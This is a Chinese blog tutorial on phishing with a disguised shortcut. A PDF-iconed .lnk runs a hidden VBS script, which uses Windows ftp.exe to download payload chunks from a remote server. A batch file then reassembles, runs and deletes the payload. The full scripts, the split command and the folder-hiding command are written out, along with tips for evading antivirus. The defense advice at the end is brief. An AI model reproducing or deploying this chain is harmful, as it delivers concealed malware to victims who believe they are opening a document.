FTP 快捷批处理混淆钓鱼方式利用和防范
免责声明:本文所涉及的技术仅供学习和参考,严禁使用本文内容从事违法行为和未授权行为,如因个人原因造成不良后果,均由使用者本人负责,作者及本博客不承担任何责任。
前言
FTP 快捷批处理混淆钓鱼是一种文件分片 + 合法进程代理的攻击手法,核心是通过.link快捷方式调用系统自带的ftp.exe,配合分片存储的批处理脚本,实现恶意载荷的隐蔽执行。这种方式不需要将木马文件一次性传入到Windows终端,通过Windows自带的ftp下载恶意木马,且文件无明显病毒特征。本文章主要讲述该钓鱼的原理方法和防范,不涉及过多的免杀技术。
利用原理
首先需要一台公网FTP服务器,用于存储分片载荷和脚本文件,确保FTP服务器处于启动状态。

生成木马文件,这里以执行calc.exe为演示,生成.exe文件。

接下来开始制作分片,使用linux的split命令以2K为一个分片切割.exe,这里也可以以其他大小进行切割,会根据切割的大小生成对应数量的文件。
sudo split -b 2k calc.exe part
生成两个文件重命名成.txt。

创建payload执行脚本run.bat:
@echo off
cd /d C:\Users\shuye\AppData\Local\Temp
copy /b part1.txt+part2.txt payload.exe >nul 2>&1
start /min payload.exe
del part1.txt /f /q
del part2.txt /f /q
del run.bat /f /q
del payload.exe /f /q
exit
这里主要内容是切换到C:\Users\shuye\AppData\Local\Temp临时文件目录,将分片文件重新合成为.exe,然后运行.exe,运行完成后删掉所有对应文件。
创建启动脚本ftp_run.vbs:
OptionExplicit
Dim objShell, strFTPPath, strFTPScript, strTempBat, strCurrentScript
strFTPPath = "C:\Windows\System32\ftp.exe"
strFTPScript = ".\ftp_run.txt"
strTempBat = "C:\Users\shuye\AppData\Local\Temp\run.bat"
strCurrentScript = WScript.ScriptFullName
Set objShell = CreateObject("WScript.Shell")
objShell.Run Chr(34) & strFTPPath & Chr(34) & " -s:" & Chr(34) & strFTPScript & Chr(34), 0, True
objShell.Run Chr(34) & strTempBat & Chr(34), 0, True
WScript.Sleep 1000'
OnErrorResumeNext
OnErrorGoTo0
Set objShell = Nothing
调用Windows的ftp.exe,设置ftp登录配置为ftp_run.txt,执行ftp下载木马,执行run.bat脚本。
创建ftp登录配置文件ftp_run.txt:
open 192.168.80.129 21
anonymous
anonymous
binary
lcd C:\Users\shuye\AppData\Local\Temp
get part1.txt
get part2.txt
get run.bat
bye
打开FTP服务器的对应IP端口,这里使用匿名用户登录,保存到本地C:\Users\shuye\AppData\Local\Temp目录,从FTP服务器下载分片文件和run.bat脚本。
接下来需要在Windows上进行操作,创建文件夹__PDF,将ftp_run.txt和ftp_run.vbs拷贝到该目录下并重命名,这里文件夹名和重命名可以随便填写,最好是填写一些伪装性较高的名字。


使用命令进行系统级隐藏__PDF文件夹,这样及时点击了显示隐藏文件也看不到该隐藏文件:
attrib +H +S "C:\Users\shuye\Desktop\新建文件夹\__PDF"
创建一个快捷方式:

起始位置清空,目标填写:
C:\Windows\System32\wscript.exe ".\__PDF\PDF.vbs" && exit
设置图标,这里使用edge的pdf图标,64位默认edge图标的路径为C:\Program Files (x86)\Microsoft\Edge\Application{版本号}\msedge.dll,设置pdf图片:

重命名一下:

压缩成压缩包,然后放到靶机上解压运行:

成功执行命令:

实战中,vbs脚本可以换成python脚本,将python源文件一并打包到压缩包隐藏文件夹中,然后改用shellcode的方式将命令注入到内存中可以进行有效免杀,这里由于技术复杂度本篇文章不做详细介绍。
如何防范
1.部署杀软/EDR,保持最新版本更新,可以有效识别钓鱼文件,不过对于深度免杀的木马效果可能不明显。
2.通过第三方压缩软件如Bandizip可以看到隐藏文件

3.查看文件属性确认是否为文档

总结
FTP 快捷批处理混淆钓鱼也算是一种常见的钓鱼方式了,该方法最大的优势就是利用原生应用程序去下载外部的恶意程序,有很好的混淆和绕过效果,通过分片的方式将完整的恶意程序切割成多个分片,大大减少被静态杀软识别的可能性。

浙公网安备 33010602011771号